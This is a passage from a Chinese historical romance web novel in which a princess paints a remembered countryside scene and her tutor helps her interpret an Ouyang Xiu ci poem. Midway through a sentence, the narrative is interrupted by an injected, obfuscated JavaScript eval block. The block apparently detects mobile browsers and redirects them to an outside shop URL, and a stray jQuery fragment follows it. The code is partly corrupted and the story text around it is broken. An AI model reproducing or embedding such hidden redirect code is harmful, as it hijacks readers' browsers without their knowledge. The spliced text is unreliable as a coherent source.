卢恩慈一边说着,一边在宣纸上描绘着她刚刚讲述的画面。
卢恩慈自然是没有受过宫廷书画院的指导的,但是她自小爱在沙地上用树枝画画。虽然之前她不认字,但是酷爱去书铺翻话本,欣赏里面的插图。
待商泽亭教会她怎么掌控毛笔后,她就开始在纸上画。很快,她的水墨画无师自通,进展飞快。
少顷,一幅技法稚嫩的田园山水画映然纸上。
“长公主这算是胸有成竹了。”商泽亭将卢恩慈的摊开欣赏,趁她不注意,将她的画悄悄放入自己的书袋,“不必去户外写生,心中自有山水。”
“看了足足十八年,每一根草,每一个水花都印在脑海里了。”卢恩慈放下毛笔:“就怕在宫里待久了,会把之前的记忆忘掉。趁现在还记得,就写写画画留在纸上。”
恩慈这才发现桌前的画不见了:“真是奇了怪了,我的画呢?”
说着她就要起身去寻,商泽亭慌忙将卢恩慈按住:“或许是被风吹跑了,说不定过会儿雪青就捡到了。”
商泽亭见卢恩慈半信半疑,急忙转移话题:“在乡野之间有率性自然的田园山水诗。在高墙宫闱之内,也有辞藻华丽的宫廷诗。不同的处境,都会有不同的心境作品。”
卢恩慈果然被转移注意力了:“那有没有和我现在一样,被困在屋里而写出的诗作?”
“有的,不过凭长公主目前的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16907861|192395||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
句读水平,理解起来可能有些难。”商泽亭解释道:“这些诗词爱用典故。为抒发抑郁不得志之情,还会寓情于景,较为晦涩难懂。”
“你举例一首,我来试试解读一番?”卢恩慈好奇心被勾上来了,“你挑首简单点的,里面千万别有我我不认识的字哦。”
商泽亭沉吟少时,在宣纸上誊抄一首:
庭院深深深几许,杨柳堆烟,帘幕无重数。
玉勒雕鞍游冶处,楼高不见章台路。
雨横风狂三月暮,门掩黄昏,无计留春住。
泪眼问花花不语,乱红飞过秋千去。
“这首词是欧阳修所作,”商泽亭介绍,“这首全篇没有什么生僻字,长公主可尝试着译为白话。”
卢恩慈手指一个字一个字地点着,结结巴巴地用自己的话解读:“庭院很深很深,深多少呢?杨柳像云雾一样,窗外的帘幕层层叠叠,不知道有多少。”
卢恩慈看着商泽亭投来赞许的目光,胆子大了些:“玉……这上半句有几个字不认得,下半句意思应该是登上高楼也望不见通向章台的路。”
“这个字是雕刻的雕,另一个字是鞍马的鞍。这里的玉勒雕鞍,合起来寓意为豪华的车马。”商泽亭适时讲解:“上半句意为豪华的车马停在贵族公子寻欢作乐的地方。”
“他们真是命好。”卢恩慈耸耸肩,看向下一句:“阳春三月的天气,雨急风狂。重门将黄昏景色掩闭,没有办法留住春天。”
“长公主很是聪慧,正是这个意思。”商泽亭对卢恩慈的进步不吝啬赞赏,立马夸夸。
“很形象啊,简直把我的心里话说出来了。”卢恩慈很感慨:“现在正是春天嘛,天气阴晴不定。春天多么美好,可又多么短